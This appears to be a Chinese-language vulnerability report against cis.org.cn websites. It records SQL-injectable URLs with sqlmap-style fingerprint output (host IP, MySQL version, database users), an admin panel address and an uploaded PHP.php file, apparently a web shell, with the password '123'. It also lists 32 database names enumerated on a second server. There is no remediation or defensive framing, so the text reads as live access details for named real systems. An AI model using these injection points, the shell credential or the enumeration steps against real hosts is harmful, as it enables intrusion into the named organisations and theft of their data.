一、注入和任上传和执行
Target: http://enviroview.cis.org.cn/newsC.php?aid=3&bid=&art_id=42
Host IP: 223.7.1.62
Web Server: Apache
DB Server: MySQL >=5
Resp. Time(avg): 218 ms
Sql Version: 5.1.48-log
Host Name: hdm-047.hichina.com
Compile OS: unknown-linux-gnu
Installation dir: /usr/local/mysql/
System User: [email protected]
Current DB: hdm0470209_db
Current User: [email protected]
DB User: 'hdm0470209'@'%'
Data Bases: information_schema
hdm0470209_db
http://enviroview.cis.org.cn/manager
后台地址
http://enviroview.cis.org.cn/PHP.php 密码123
2、注入和用户信息泄露
http://apply.cis.org.cn/templates/pic_list_cn/index.aspx?nodeid=86
3、大量数据库泄露
available databases [32]:
[*] Bj_Caec
[*] ChinaFairs_WAP
[*] ChinaJoy_Wss
[*] CIMA_Meet
[*] cn22011_db
[*] Cycle123
[*] distribution
[*] master
[*] model
[*] msdb
[*] Munich_EP2013
[*] MVC.Website
[*] PeiXun
[*] ReportServer$WEB_003_808JIE
[*] ReportServer$WEB_003_808JIETempDB
[*] SportShow_WSS
[*] Synair_2013
[*] Synair_BTB_Pet
[*] Synair_CEP
[*] Synair_CEP_APP_Develop
[*] Synair_DB
[*] Synair_Invite
[*] Synair_OCC
[*] Synair_PF
[*] Synair_RJ
[*] tempdb
[*] test.cep
[*] webplug_app
[*] webplug_yqyb
[*] www.Miconex.com.cn
[*] YaNing
可否前台啊
